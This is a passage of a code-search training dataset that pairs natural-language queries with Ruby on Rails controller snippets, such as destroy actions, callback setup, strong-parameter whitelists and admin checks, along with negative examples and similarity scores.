"def destroy\n @currentmedical.destroy\n respond_to do |format|\n format.html { redirect_to currentmedicals_url, notice: 'Currentmedical was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dish_mixture.destroy\n respond_to do |format|\n format.html { redirect_to dish_mixtures_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @receita_medica = ReceitaMedica.find(params[:id])\n @receita_medica.destroy\n\n respond_to do |format|\n format.html { redirect_to receita_medicas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dynamique = Dynamique.find(params[:id])\n @dynamique.destroy\n\n respond_to do |format|\n format.html { redirect_to dynamiques_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @metum.destroy\n respond_to do |format|\n format.html { redirect_to meta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n @volume_metadatum.destroy\n\n respond_to do |format|\n format.html { redirect_to volume_metadata_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @musica.audios.purge\n @musica.destroy\n respond_to do |format|\n format.html { redirect_to musicas_url, notice: 'Álbum apagado com sucesso!' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admintreatmentmechanical.destroy\n respond_to do |format|\n format.html { redirect_to admintreatmentmechanicals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @med_history.destroy\n respond_to do |format|\n format.html { redirect_to med_histories_url, notice: 'Med history was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @test_metum.destroy\n respond_to do |format|\n format.html { redirect_to test_meta_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_item = StockItem.find(params[:id])\n @stock_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(stock_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @medicamento = Medicamento.find(params[:id])\n @medicamento.destroy\n\n respond_to do |format|\n format.html { redirect_to medicamentos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @malarium.destroy\n respond_to do |format|\n format.html { redirect_to malaria_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @med.destroy\n respond_to do |format|\n format.html { redirect_to meds_url, notice: 'Med was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @med.destroy\n respond_to do |format|\n format.html { redirect_to meds_url, notice: 'Med was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @monthly_finance = MonthlyFinance.find(params[:id])\n @monthly_finance.destroy\n\n respond_to do |format|\n format.html { redirect_to monthly_finances_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_price.destroy\n respond_to do |format|\n format.html { redirect_to stock_prices_url, notice: 'Stock price was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] | [
"0.7307248",
"0.7307248",
"0.72975355",
"0.7288655",
"0.72691363",
"0.72635055",
"0.72635055",
"0.72635055",
"0.72635055",
"0.72635055",
"0.72635055",
"0.72067565",
"0.7117722",
"0.7105835",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.7072678",
"0.70672977",
"0.70419383",
"0.7021806",
"0.7013067",
"0.7013067",
"0.6990268",
"0.6983349",
"0.698007",
"0.6977945",
"0.69680536",
"0.6963445",
"0.6961769",
"0.6949247",
"0.69476753",
"0.69419223",
"0.69419223",
"0.6940557",
"0.6938967",
"0.69374794",
"0.6919832",
"0.6918236",
"0.69116163",
"0.6895277",
"0.68919927",
"0.6885728",
"0.68849254",
"0.68813044",
"0.6881034",
"0.6877465",
"0.68752134",
"0.6842282",
"0.68402183",
"0.6832495",
"0.68311006",
"0.6828053",
"0.6823766",
"0.6820131",
"0.6819002",
"0.6809068",
"0.68076545",
"0.6806187",
"0.6797498",
"0.67968035",
"0.67906743",
"0.6785633",
"0.6777826",
"0.6775227",
"0.6770668",
"0.6761639",
"0.6759873",
"0.67523205",
"0.67462957",
"0.6744575",
"0.67430675",
"0.674168",
"0.6733993",
"0.6733794",
"0.6724651",
"0.6724597",
"0.672256",
"0.67201936",
"0.67188716",
"0.6715285",
"0.6710354",
"0.67008734",
"0.6697165",
"0.6695655",
"0.6693089",
"0.66921747",
"0.66863894",
"0.6678931",
"0.6675432",
"0.6671214",
"0.6671181",
"0.66661495",
"0.6662625"
] | 0.7680024 | 0 |
Use callbacks to share common setup or constraints between actions. | def set_stock_medica
@stock_medica = StockMedica.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def set_actions\n actions :all\n end",
"def define_action_helpers?; end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def setup_handler\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def workflow\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def before_action \n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def after_set_callback; end",
"def initialize(*args)\n super\n @action = :set\nend",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def save_action; end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def setup(&blk)\n @setup_block = blk\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend",
"def duas1(action)\n action.call\n action.call\nend",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def call\n setup_context\n super\n end"
] | [
"0.61642385",
"0.60448",
"0.5945487",
"0.5915654",
"0.58890367",
"0.58330417",
"0.5776098",
"0.5703048",
"0.5703048",
"0.5654613",
"0.5620029",
"0.5423114",
"0.540998",
"0.540998",
"0.540998",
"0.5393666",
"0.53783023",
"0.53568405",
"0.53391176",
"0.5339061",
"0.53310865",
"0.5312988",
"0.529798",
"0.52968603",
"0.52962637",
"0.52577317",
"0.5244704",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5236856",
"0.5233461",
"0.52322435",
"0.5227552",
"0.52224743",
"0.5217851",
"0.521241",
"0.52069896",
"0.5206555",
"0.5176617",
"0.51738507",
"0.51725876",
"0.51660734",
"0.51605034",
"0.51571786",
"0.5152762",
"0.5152164",
"0.5151477",
"0.5145819",
"0.51408994",
"0.5134412",
"0.5114031",
"0.5113695",
"0.5113695",
"0.5108603",
"0.5107358",
"0.5090405",
"0.50889385",
"0.50817686",
"0.5081617",
"0.50658226",
"0.50551206",
"0.5051746",
"0.5049091",
"0.5049091",
"0.5034681",
"0.5024972",
"0.5021291",
"0.5016024",
"0.50134826",
"0.50008893",
"0.50000244",
"0.4999155",
"0.49907947",
"0.49907947",
"0.49853387",
"0.49796683",
"0.4979596",
"0.49778128",
"0.49673793",
"0.49662578",
"0.49587822",
"0.4956063",
"0.49550167",
"0.49523485",
"0.4951614",
"0.49452996",
"0.49442068",
"0.49336892",
"0.49306205",
"0.49264124",
"0.49259305",
"0.4925823",
"0.49229056",
"0.4918999",
"0.49171805",
"0.49167436",
"0.4916559",
"0.49153692",
"0.49148256"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def stock_medica_params
params.require(:stock_medica).permit(:cantidad, :medicamento_id)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def filtering_params\n params.permit(:email)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def list_params\n params.permit(:name)\n end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.6981606",
"0.6784227",
"0.6746523",
"0.67439264",
"0.67361516",
"0.6593381",
"0.6506166",
"0.64994407",
"0.6483518",
"0.64797056",
"0.64578557",
"0.6441216",
"0.63811713",
"0.63773805",
"0.6366333",
"0.63217646",
"0.6301816",
"0.63009787",
"0.6294436",
"0.62940663",
"0.6292164",
"0.62917984",
"0.62836355",
"0.6242686",
"0.6241917",
"0.62210834",
"0.6214862",
"0.62125784",
"0.619428",
"0.617912",
"0.617705",
"0.61735916",
"0.6163706",
"0.61532795",
"0.6152666",
"0.6148062",
"0.6123372",
"0.61180484",
"0.61088324",
"0.6106139",
"0.60925204",
"0.608326",
"0.60711503",
"0.606551",
"0.60216546",
"0.6018924",
"0.6015004",
"0.60106766",
"0.6008301",
"0.6008301",
"0.60028726",
"0.60020626",
"0.5999236",
"0.59931505",
"0.5993037",
"0.59917194",
"0.5982164",
"0.5968051",
"0.5960277",
"0.5960268",
"0.5960012",
"0.59594494",
"0.5954652",
"0.5954304",
"0.59440255",
"0.59404963",
"0.59404963",
"0.59401006",
"0.593522",
"0.5932182",
"0.5925528",
"0.5924541",
"0.5918796",
"0.59123147",
"0.5910144",
"0.5909186",
"0.5907257",
"0.5899382",
"0.5897783",
"0.58972496",
"0.58958495",
"0.58948576",
"0.5892734",
"0.5888056",
"0.58843875",
"0.58818483",
"0.5873746",
"0.58700997",
"0.5870056",
"0.5869255",
"0.58668107",
"0.58662325",
"0.5865003",
"0.5862908",
"0.5862406",
"0.58614665",
"0.5859661",
"0.585562",
"0.5855185",
"0.58523446",
"0.58504915"
] | 0.0 | -1 |
only admin can use new and create | def index
locals(competitions: Competition.all)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_as_admin\n create\n end",
"def authorized_for_create?\n current_user.is_admin\n end",
"def create?\n !@current_user.admin?\n end",
"def admin?; false end",
"def admin_cannot_actions\n [:new, :create].freeze\n end",
"def isnew?\n if Admin.new\n return false \n else\n return true \n end \n end",
"def create?\n admin.expert? or admin.vip? or admin.root?\n end",
"def create\n create_admin if params[:admin]\n raise(\"unknown params resourse: #{params}\") unless params[:admin]\n end",
"def admin_only\n false\n end",
"def new?\n if is_super_admin?\n true\n elsif is_admin? && !has_company?\n true\n else\n false\n end\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def create_permitted?\n acting_user.administrator?\n end",
"def new\n unless @current_admin.is_super_admin\n flash[:error]=\"You are not authorized to navigate to this page \"\n redirect_to admin_index_path\n return\n end\n @new_admin=Admin.new\n end",
"def admin\n\t\tcan :manage, :all\n\tend",
"def admin\n #TODO\n end",
